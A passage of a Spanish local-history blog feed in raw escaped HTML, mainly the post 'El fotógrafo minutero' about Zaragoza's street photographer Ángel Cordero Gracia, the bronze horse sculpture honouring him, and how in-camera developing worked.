&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 21.3pt; text-align: justify; text-indent: -21.3pt;&quot;&gt;
&lt;span style=&quot;font-size: 9pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;2.-&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;La Reserva Natural Dirigida de los Sotos y Galachos del Ebro es un
espacio de 1563,8 hectáreas, 12 km. río debajo de la ciudad de Zaragoza. El
paisaje de la Reserva se caracteriza por el sinuoso devenir del río Ebro y sus
galachos (antiguos meandros abandonados que deja el río en su movimiento), los
sotos de ribera y los campos de cultivo.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
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&lt;br /&gt;&lt;/div&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;
&lt;/h2&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/2717130412543113633/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/02/sabias-que.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/2717130412543113633'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/2717130412543113633'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/02/sabias-que.html' title='Las cigüeñas'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimYTU96m5EG0MLf_Y6PR45cxsQ_TZ8bH0a00-oc1WrnWuZEYyl4GSkSUzgEpU65-KGPsFz4B9DOLVRbtG-lWXTu_KHN9g8ko3R3RDRad1si1yTgRDe7BT-zD0-ptovQq7D8SAqv0JoTVue/s72-c/Cig%25C3%25BCe%25C3%25B1as+1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-8525574174030622251</id><published>2020-01-30T19:55:00.004+01:00</published><updated>2020-11-07T19:39:12.410+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>El fotógrafo minutero</title><content type='html'>&lt;h2 class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNgFTnObFwHtkx6vKuos3B5Ogghtu-yKT0zIlcOnhEW2TYzcfnZYYkep6HFObbrxFXSYqF3A_yz8Yk_XGEc1lPs2C9HPGDQQ1mGCRuwEfRgrCRp61W6RXrfwMFxkNxIXL8FCeN1VelrZM_/s1600/fotografo+minutero.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;div style=&quot;color: black; font-variant: normal; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;¿Sabías que...hubo un fotógrafo minutero en Zaragoza?&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;span face=&quot;Arial, Helvetica, sans-serif&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNgFTnObFwHtkx6vKuos3B5Ogghtu-yKT0zIlcOnhEW2TYzcfnZYYkep6HFObbrxFXSYqF3A_yz8Yk_XGEc1lPs2C9HPGDQQ1mGCRuwEfRgrCRp61W6RXrfwMFxkNxIXL8FCeN1VelrZM_/s1600/fotografo+minutero.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNgFTnObFwHtkx6vKuos3B5Ogghtu-yKT0zIlcOnhEW2TYzcfnZYYkep6HFObbrxFXSYqF3A_yz8Yk_XGEc1lPs2C9HPGDQQ1mGCRuwEfRgrCRp61W6RXrfwMFxkNxIXL8FCeN1VelrZM_/s1600/fotografo+minutero.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Fotógrafo minutero&lt;/span&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;&lt;b style=&quot;font-size: x-large;&quot;&gt;Detrás de la Lonja de Zaragoza se instaló durante más
de 50 años un fotógrafo minutero&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;color: black; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: xx-normal;&quot;&gt;&lt;span style=&quot;background-color: white; color: black; display: inline; float: none; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;Hace sólo unos pocos días me decidí
a crear una cuenta en Instagram para “La Zaragoza ignorada”. Mientras revisaba las
fotografías de otros zaragozanos a los que podía seguir, me encontré con algo
que me pareció original y curioso: una cuenta dedicada a la escultura que hay
detrás de la Lonja y que representa, en bronce, a un caballito de juguete.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Mejor dicho, la cuenta es, en realidad, un homenaje al fotógrafo
“minutero”&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Ángel &lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Cordero Gracia, que
durante muchos años se colocó en ese mismo lugar con su cámara y un caballito
de juguete para hacer fotografías “instantáneas” a todo aquel que quisiera.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcxG0wte1qh1WsKk3FhG3cncWVtXuoCkgoo57nTX4vLtEw1RVF0o6EPVbGG2uc7DSzakWiCiWc2xeWpYmKJc7pEBlLJQvyIXJC6Z3QozC7rNOnyreCpFV0pu0dsB-Dv1G-rIF0MvtLSsqg/s1600/FIRMA+CABALLITO.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;510&quot; data-original-width=&quot;450&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcxG0wte1qh1WsKk3FhG3cncWVtXuoCkgoo57nTX4vLtEw1RVF0o6EPVbGG2uc7DSzakWiCiWc2xeWpYmKJc7pEBlLJQvyIXJC6Z3QozC7rNOnyreCpFV0pu0dsB-Dv1G-rIF0MvtLSsqg/s320/FIRMA+CABALLITO.jpg&quot; width=&quot;280&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Detalle de la escultura con firma del autor y la fecha&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Con
el tiempo el caballito que utilizaba para retratar a los niños, se convirtió en
una imagen típica del lugar y, una vez desaparecida la actividad, el
Ayuntamiento de Zaragoza (1991) quiso contribuir a su recuerdo encargando al
escultor Francisco Rallo Lahoz una escultura en bronce del mismo aspecto que el
original.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1EXt7GputAEPUAUE_3obSkIV5xugk0jGqW6sjb0dAcjz8t30AydTMp_ne9za2N3Q9UiKTpIaJhuLzP8yuq4jKX6PAThbvrQNYGm7dXHegqYIO6gf88EckMOR_Vy1tvmuDu54Kz-QiptF/s1600/caballo+puente.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;408&quot; data-original-width=&quot;306&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic1EXt7GputAEPUAUE_3obSkIV5xugk0jGqW6sjb0dAcjz8t30AydTMp_ne9za2N3Q9UiKTpIaJhuLzP8yuq4jKX6PAThbvrQNYGm7dXHegqYIO6gf88EckMOR_Vy1tvmuDu54Kz-QiptF/s200/caballo+puente.jpg&quot; width=&quot;150&quot; /&gt;&lt;/a&gt;He intentado buscar información
sobre el fotógrafo Ángel Cordero y, aunque muchos lo citan, no he encontrado
datos relevantes. Poco puedo hablar, entonces, de la persona que estaba detrás
de la cámara y por eso he querido extenderme un poco más sobre su oficio.&lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt; &lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;Resulta curioso saber que ya a
principios del siglo XX se podían hacer fotografías casi instantáneas, pero
puede que se entienda mejor si pensamos que la fotografía ya había comenzado a
desarrollarse a comienzos del siglo anterior y que Zaragoza, como en otros
asuntos, fue pionera también en este. Así podemos leer en la Gran Enciclopedia
Aragonesa que antes de Daguerre ya había conseguido J. R. Zapetti en nuestra
ciudad fijar imágenes en una lámina de cobre y que en 1856, en el Coso, Mariano
Júdez se había establecido en una galería fotográfica que después traspasó a&amp;nbsp; A.M. Coyne, fundador de “Fotos Coyne”. &lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;Tampoco podemos olvidar a Santiago
Ramón y Cajal que &lt;/span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;background-attachment: scroll; background-color: white; background-image: none; background-repeat: repeat; background-size: auto;&quot;&gt;fue pionero de la fotografía en España&lt;/span&gt; &lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;y que ya&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;en 1872
fotografió el Monasterio de Piedra.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-bottom: 0.5em; margin-left: 1em; padding-bottom: 6px; padding-left: 6px; padding-right: 6px; padding-top: 6px; padding: 6px; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj78eBibHT4MyyDWtk4-jeIGHMxSvHVfsy5AAaDjPNxoM2gxyE2e2qokDCSE3C6wqUX9kRPoeUEuXmZpxnGQMUxzl_4wS0siUhwv0wb5GJDknvpOu-UgdPPc6bIxFg9DgpGoDinL0I_Ny50/s1600/Santiago_Ram%25C3%25B3n_y_Cajal%252C_estudiante_de_medicina_en_Zaragoza_1876.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;599&quot; data-original-width=&quot;628&quot; height=&quot;305&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj78eBibHT4MyyDWtk4-jeIGHMxSvHVfsy5AAaDjPNxoM2gxyE2e2qokDCSE3C6wqUX9kRPoeUEuXmZpxnGQMUxzl_4wS0siUhwv0wb5GJDknvpOu-UgdPPc6bIxFg9DgpGoDinL0I_Ny50/s320/Santiago_Ram%25C3%25B3n_y_Cajal%252C_estudiante_de_medicina_en_Zaragoza_1876.jpg&quot; style=&quot;cursor: move;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;padding-top: 4px; text-align: center;&quot;&gt;&lt;div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Santiago Ramón y Cajal&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: x-normal;&quot;&gt;Autorretrato, 1870&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;mso-ansi-language: ES;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;La fotografía en Zaragoza está muy
vinculada a la ciudad, esto es sabido; pero ¿nos hemos parado a pensar&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;qué es un fotógrafo minutero? El nombre lo
recibían del escaso tiempo en que realizaban las fotografías para entregarlas
al cliente en el acto. Desde luego tardaban algo más de un minuto, pero el
cliente podía marcharse satisfecho con su fotografía en la mano (¡qué ingenio
con tan pocos medios!)&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;El fotógrafo “minutero” era y es,
porque todavía existen, un fotógrafo ambulante que con su gran cámara al hombro &lt;span style=&quot;font-size: xx-normal;&quot;&gt;(&lt;a href=&quot;https://www.flickr.com/photos/zaragozaantigua/15047796462&quot;&gt;lo podemos ver en esta fotografía del enlace&lt;/a&gt;)&lt;/span&gt; hacía fotografías rápidas a todo transeúnte que
quisiera inmortalizar el momento cuando no existían los medios que tenemos en
la actualidad. Estas fotografías tenían la ventaja de ser mucho más baratas que
las realizadas en un estudio y también mucho más rápidas. La gente de la calle,
soldados, labradores, personas que estaban de paso en la ciudad por distintos
motivos podían llevarse un recuerdo de su viaje y mostrarlo a sus familiares. &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;El truco de la rapidez para entregar
la fotografía al cliente consistía en que se hacía el revelado dentro de la
propia cámara. Normalmente ésta consistía en un cajón de madera con un objetivo
y el espacio suficiente para contener las cubetas de revelado. &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGKkXw_4AlAotuN28Nk7xx3cJQJ7YfIjfyMaCRxlcxk8z0xAsIElqKisXJ_FUE4hE0r1IiAkmsgCuI4050D_Yo3TgNVHTYuBHr9DhMNyqxkyQBpafE8kr9RI_02VFxsQ97t-8cBEmtwMau/s1600/camara+minutera.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;768&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGKkXw_4AlAotuN28Nk7xx3cJQJ7YfIjfyMaCRxlcxk8z0xAsIElqKisXJ_FUE4hE0r1IiAkmsgCuI4050D_Yo3TgNVHTYuBHr9DhMNyqxkyQBpafE8kr9RI_02VFxsQ97t-8cBEmtwMau/s400/camara+minutera.jpg&quot; style=&quot;cursor: move;&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: normal; mso-ansi-language: ES;&quot;&gt;La caja tenía,
entre otras cosas, una ventanita cerrada con un cristal rojo por la cual el
fotógrafo veía cómo se iba revelando, ya que la caja no se podía abrir hasta
que no finalizara el proceso. La imagen pasaba de la placa de vidrio al papel
fotográfico en uno de los tres formatos posibles, de “carnet” a “postal”.
Después de obtener el negativo se lavaba el papel y se volvía a fotografiar
quedando así la imagen en positivo (&lt;a href=&quot;https://www.youtube.com/watch?v=K6ZaxYx7AMk&quot;&gt;se pueden ver las explicaciones en estos videos de youtube&lt;/a&gt;: &lt;a href=&quot;https://www.youtube.com/watch?v=K6ZaxYx7AMk&quot;&gt;1&lt;/a&gt; y &lt;a href=&quot;https://www.youtube.com/watch?v=Ac7Tdw7Cdbg&amp;amp;t=14s&quot;&gt;2&lt;/a&gt;).&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: black; font-family: quot; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
